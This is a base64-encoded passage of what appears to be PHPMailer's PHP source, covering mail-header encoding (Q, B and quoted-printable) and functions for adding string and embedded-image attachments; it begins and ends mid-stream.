pb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgJG1hdGNoY291bnQgPSAwOwogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9bXDIwMC1cMzc3XS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgIC8vIENhbid0IHVzZSBhZGRzbGFzaGVzIGFzIHdlIGRvbid0IGtub3cgdGhlIHZhbHVlIG9mIG1hZ2ljX3F1b3Rlc19zeWJhc2UKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdHIgPT0gJGVuY29kZWQpICYmICFwcmVnX21hdGNoKCcvW15BLVphLXowLTkhIyQlJlwnKitcLz0\/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRlbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8KICAgICAgICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgLy8gSW50ZW50aW9uYWwgZmFsbC10aHJvdWdoCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgLy9UaGVyZSBhcmUgbm8gY2hhcnMgdGhhdCBuZWVkIGVuY29kaW5nCiAgICAgICAgaWYgKCRtYXRjaGNvdW50ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuICgkc3RyKTsKICAgICAgICB9CgogICAgICAgICRtYXhsZW4gPSA3NSAtIDcgLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOwogICAgICAgIC8vIFRyeSB0byBzZWxlY3QgdGhlIGVuY29kaW5nIHdoaWNoIHNob3VsZCBwcm9kdWNlIHRoZSBzaG9ydGVzdCBvdXRwdXQKICAgICAgICBpZiAoJG1hdGNoY291bnQgPiBzdHJsZW4oJHN0cikgLyAzKSB7CiAgICAgICAgICAgIC8vIE1vcmUgdGhhbiBhIHRoaXJkIG9mIHRoZSBjb250ZW50IHdpbGwgbmVlZCBlbmNvZGluZywgc28gQiBlbmNvZGluZyB3aWxsIGJlIG1vc3QgZWZmaWNpZW50CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdCJzsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykgJiYgJHRoaXMtPmhhc011bHRpQnl0ZXMoJHN0cikpIHsKICAgICAgICAgICAgICAgIC8vIFVzZSBhIGN1c3RvbSBmdW5jdGlvbiB3aGljaCBjb3JyZWN0bHkgZW5jb2RlcyBhbmQgd3JhcHMgbG9uZwogICAgICAgICAgICAgICAgLy8gbXVsdGlieXRlIHN0cmluZ3Mgd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkc3RyKTsKICAgICAgICAgICAgICAgICRtYXhsZW4gLT0gJG1heGxlbiAlIDQ7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdRJzsKICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24pOwogICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT53cmFwVGV4dCgkZW5jb2RlZCwgJG1heGxlbiwgdHJ1ZSk7CiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJz0nIC4gc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOwogICAgICAgIH0KCiAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAiPyRlbmNvZGluZz9cXDE\/PSIsICRlbmNvZGVkKTsKICAgICAgICAkZW5jb2RlZCA9IHRyaW0oc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkZW5jb2RlZCkpOwoKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhIHN0cmluZyBjb250YWlucyBtdWx0aS1ieXRlIGNoYXJhY3RlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBoYXNNdWx0aUJ5dGVzKCRzdHIpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsKICAgICAgICB9IGVsc2UgeyAvLyBBc3N1bWUgbm8gbXVsdGlieXRlcyAod2UgY2FuJ3QgaGFuZGxlIHdpdGhvdXQgbWJzdHJpbmcgZnVuY3Rpb25zIGFueXdheSkKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIERvZXMgYSBzdHJpbmcgY29udGFpbiBhbnkgOC1iaXQgY2hhcnMgKGluIGFueSBjaGFyc2V0KT8KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzOGJpdENoYXJzKCR0ZXh0KQogICAgewogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvW1x4ODAtXHhGRl0vJywgJHRleHQpOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGFuZCB3cmFwIGxvbmcgbXVsdGlieXRlIHN0cmluZ3MgZm9yIG1haWwgaGVhZGVycwogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuCiAgICAgKiBBZGFwdGVkIGZyb20gYSBmdW5jdGlvbiBieSBwYXJhdm9pZAogICAgICogQGxpbmsgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5tYi1lbmNvZGUtbWltZWhlYWRlci5waHAjNjAyODMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgbXVsdGktYnl0ZSB0ZXh0IHRvIHdyYXAgZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsaW5lYnJlYWsgc3RyaW5nIHRvIHVzZSBhcyBsaW5lZmVlZC9lbmQtb2YtbGluZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAkbGluZWJyZWFrID0gbnVsbCkKICAgIHsKICAgICAgICAkc3RhcnQgPSAnPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAnP0I\/JzsKICAgICAgICAkZW5kID0gJz89JzsKICAgICAgICAkZW5jb2RlZCA9ICcnOwogICAgICAgIGlmICgkbGluZWJyZWFrID09PSBudWxsKSB7CiAgICAgICAgICAgICRsaW5lYnJlYWsgPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZAogICAgICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgICAgIC8vIEF2ZXJhZ2UgbXVsdGktYnl0ZSByYXRpbwogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7CiAgICAgICAgLy8gQmFzZTY0IGhhcyBhIDQ6MyByYXRpbwogICAgICAgICRhdmdMZW5ndGggPSBmbG9vcigkbGVuZ3RoICogJHJhdGlvICogLjc1KTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAgICAgICAkbG9va0JhY2sgPSAwOwogICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAkb2Zmc2V0ID0gJGF2Z0xlbmd0aCAtICRsb29rQmFjazsKICAgICAgICAgICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOwogICAgICAgICAgICAgICAgJGxvb2tCYWNrKys7CiAgICAgICAgICAgIH0gd2hpbGUgKHN0cmxlbigkY2h1bmspID4gJGxlbmd0aCk7CiAgICAgICAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsaW5lYnJlYWs7CiAgICAgICAgfQoKICAgICAgICAvLyBDaG9tcCB0aGUgbGFzdCBsaW5lZmVlZAogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKCRlbmNvZGVkLCAwLCAtc3RybGVuKCRsaW5lYnJlYWspKTsKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgaW4gcXVvdGVkLXByaW50YWJsZSBmb3JtYXQuCiAgICAgKiBBY2NvcmRpbmcgdG8gUkZDMjA0NSBzZWN0aW9uIDYuNy4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIHRleHQgdG8gZW5jb2RlCiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbGluZV9tYXggTnVtYmVyIG9mIGNoYXJzIGFsbG93ZWQgb24gYSBsaW5lIGJlZm9yZSB3cmFwcGluZwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucXVvdGVkLXByaW50YWJsZS1kZWNvZGUucGhwIzg5NDE3IEFkYXB0ZWQgZnJvbSB0aGlzIGNvbW1lbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCA9IDc2KQogICAgewogICAgICAgIC8vIFVzZSBuYXRpdmUgZnVuY3Rpb24gaWYgaXQncyBhdmFpbGFibGUgKD49IFBIUDUuMykKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdxdW90ZWRfcHJpbnRhYmxlX2VuY29kZScpKSB7CiAgICAgICAgICAgIHJldHVybiBxdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkc3RyaW5nKTsKICAgICAgICB9CiAgICAgICAgLy8gRmFsbCBiYWNrIHRvIGEgcHVyZSBQSFAgaW1wbGVtZW50YXRpb24KICAgICAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgIGFycmF5KCclMjAnLCAnJTBEJTBBLicsICclMEQlMEEnLCAnJScpLAogICAgICAgICAgICBhcnJheSgnICcsICJcclxuPTJFIiwgIlxyXG4iLCAnPScpLAogICAgICAgICAgICByYXd1cmxlbmNvZGUoJHN0cmluZykKICAgICAgICApOwogICAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy9bXlxyXG5deycgLiAoJGxpbmVfbWF4IC0gMykgLiAnfVtePVxyXG5dezJ9LycsICIkMD1cclxuIiwgJHN0cmluZyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBCYWNrd2FyZCBjb21wYXRpYmlsaXR5IHdyYXBwZXIgZm9yIGFuIG9sZCBRUCBlbmNvZGluZyBmdW5jdGlvbiB0aGF0IHdhcyByZW1vdmVkLgogICAgICogQHNlZSBQSFBNYWlsZXI6OmVuY29kZVFQKCkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsaW5lX21heAogICAgICogQHBhcmFtIGJvb2xlYW4gJHNwYWNlX2NvbnYKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAZGVwcmVjYXRlZCBVc2UgZW5jb2RlUVAgaW5zdGVhZC4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQcGhwKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGxpbmVfbWF4ID0gNzYsCiAgICAgICAgLyoqIEBub2luc3BlY3Rpb24gUGhwVW51c2VkUGFyYW1ldGVySW5zcGVjdGlvbiAqLyAkc3BhY2VfY29udiA9IGZhbHNlCiAgICApIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgdXNpbmcgUSBlbmNvZGluZy4KICAgICAqIEBsaW5rIGh0dHA6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzIwNDcKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciB0aGUgdGV4dCB0byBlbmNvZGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBvc2l0aW9uIFdoZXJlIHRoZSB0ZXh0IGlzIGdvaW5nIHRvIGJlIHVzZWQsIHNlZSB0aGUgUkZDIGZvciB3aGF0IHRoYXQgbWVhbnMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgLy8gVGhlcmUgc2hvdWxkIG5vdCBiZSBhbnkgRU9MIGluIHRoZSBzdHJpbmcKICAgICAgICAkcGF0dGVybiA9ICcnOwogICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKTsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgewogICAgICAgICAgICBjYXNlICdwaHJhc2UnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjMKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ15BLVphLXowLTkhKitcLyAtJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAvKiogQG5vaW5zcGVjdGlvbiBQaHBNaXNzaW5nQnJlYWtTdGF0ZW1lbnRJbnNwZWN0aW9uICovCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjIKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ1woXCkiJzsKICAgICAgICAgICAgICAgIC8vIGludGVudGlvbmFsIGZhbGwtdGhyb3VnaAogICAgICAgICAgICAgICAgLy8gZm9yIHRoaXMgcmVhc29uIHdlIGJ1aWxkIHRoZSAkcGF0dGVybiB3aXRob3V0IGluY2x1ZGluZyBkZWxpbWl0ZXJzIGFuZCBbXQogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4xCiAgICAgICAgICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IGhpZ2ggYXNjaWksIGNvbnRyb2wsID0sID8gYW5kIF8gY2hhcmFjdGVycwogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJHBhdHRlcm47CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgJG1hdGNoZXMgPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgiL1t7JHBhdHRlcm59XS8iLCAkZW5jb2RlZCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgIC8vIElmIHRoZSBzdHJpbmcgY29udGFpbnMgYW4gJz0nLCBtYWtlIHN1cmUgaXQncyB0aGUgZmlyc3QgdGhpbmcgd2UgcmVwbGFjZQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICAgICAgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCc9JywgJG1hdGNoZXNbMF0pOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlcWtleSkgewogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7CiAgICAgICAgICAgICAgICBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJGNoYXIsICc9JyAuIHNwcmludGYoJyUwMlgnLCBvcmQoJGNoYXIpKSwgJGVuY29kZWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIFJlcGxhY2UgZXZlcnkgc3BhY2VzIHRvIF8gKG1vcmUgcmVhZGFibGUgdGhhbiA9MjApCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCcgJywgJ18nLCAkZW5jb2RlZCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSBzdHJpbmcgb3IgYmluYXJ5IGF0dGFjaG1lbnQgKG5vbi1maWxlc3lzdGVtKS4KICAgICAqIFRoaXMgbWV0aG9kIGNhbiBiZSB1c2VkIHRvIGF0dGFjaCBhc2NpaSBvciBiaW5hcnkgZGF0YSwKICAgICAqIHN1Y2ggYXMgYSBCTE9CIHJlY29yZCBmcm9tIGEgZGF0YWJhc2UuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgU3RyaW5nIGF0dGFjaG1lbnQgZGF0YS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lIE5hbWUgb2YgdGhlIGF0dGFjaG1lbnQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkU3RyaW5nQXR0YWNobWVudCgKICAgICAgICAkc3RyaW5nLAogICAgICAgICRmaWxlbmFtZSwKICAgICAgICAkZW5jb2RpbmcgPSAnYmFzZTY0JywKICAgICAgICAkdHlwZSA9ICcnLAogICAgICAgICRkaXNwb3NpdGlvbiA9ICdhdHRhY2htZW50JwogICAgKSB7CiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQogICAgICAgICR0aGlzLT5hdHRhY2htZW50W10gPSBhcnJheSgKICAgICAgICAgICAgMCA9PiAkc3RyaW5nLAogICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwKICAgICAgICAgICAgMiA9PiBiYXNlbmFtZSgkZmlsZW5hbWUpLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiB0cnVlLCAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICAgICAgNiA9PiAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgIDcgPT4gMAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gZW1iZWRkZWQgKGlubGluZSkgYXR0YWNobWVudCBmcm9tIGEgZmlsZS4KICAgICAqIFRoaXMgY2FuIGluY2x1ZGUgaW1hZ2VzLCBzb3VuZHMsIGFuZCBqdXN0IGFib3V0IGFueSBvdGhlciBkb2N1bWVudCB0eXBlLgogICAgICogVGhlc2UgZGlmZmVyIGZyb20gJ3JlZ3VsYXInIGF0dGFjaG1lbnRzIGluIHRoYXQgdGhleSBhcmUgaW50ZW5kZWQgdG8gYmUKICAgICAqIGRpc3BsYXllZCBpbmxpbmUgd2l0aCB0aGUgbWVzc2FnZSwgbm90IGp1c3QgYXR0YWNoZWQgZm9yIGRvd25sb2FkLgogICAgICogVGhpcyBpcyB1c2VkIGluIEhUTUwgbWVzc2FnZXMgdGhhdCBlbWJlZCB0aGUgaW1hZ2VzCiAgICAgKiB0aGUgSFRNTCByZWZlcnMgdG8gdXNpbmcgdGhlICRjaWQgdmFsdWUuCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBQYXRoIHRvIHRoZSBhdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkY2lkIENvbnRlbnQgSUQgb2YgdGhlIGF0dGFjaG1lbnQ7IFVzZSB0aGlzIHRvIHJlZmVyZW5jZQogICAgICogICAgICAgIHRoZSBjb250ZW50IHdoZW4gdXNpbmcgYW4gZW1iZWRkZWQgaW1hZ2UgaW4gSFRNTC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBNSU1FIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnKQogICAgewogICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQoKICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQKICAgICAgICApOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIEJlIHN1cmUgdG8gc2V0IHRoZSAkdHlwZSB0byBhbiBpbWFnZSB0eXBlIGZvciBpbWFnZXM6CiAgICAgKiBKUEVHIGltYWdlcyB1c2UgJ2ltYWdlL2pwZWcnLCBHSUYgdXNlcyAnaW1hZ2UvZ2lmJywgUE5HIHVzZXMgJ2ltYWdlL3BuZycuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIGF0dGFjaG1lbnQgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaWQgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgdGhlIGNvbnRlbnQgd2hlbiB1c2luZyBhbiBlbWJlZGRlZCBpbWFnZSBpbiBIVE1MLgogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIE1JTUUgdHlwZS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQogICAgICogQHJldHVybiBib29sZWFuIFRydWUgb24gc3VjY2Vzc2Z1bGx5IGFkZGluZyBhbiBhdHRhY2htZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGNpZCwKICAgICAgICAkbmFtZSA9ICcnLAogICAgICAgICRlbmNvZGluZyA9ICdiYXNlNjQnLAogICAgICAgICR0eXBlID0gJycsCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2lubGluZScKICAgICkgewogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBuYW1lCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5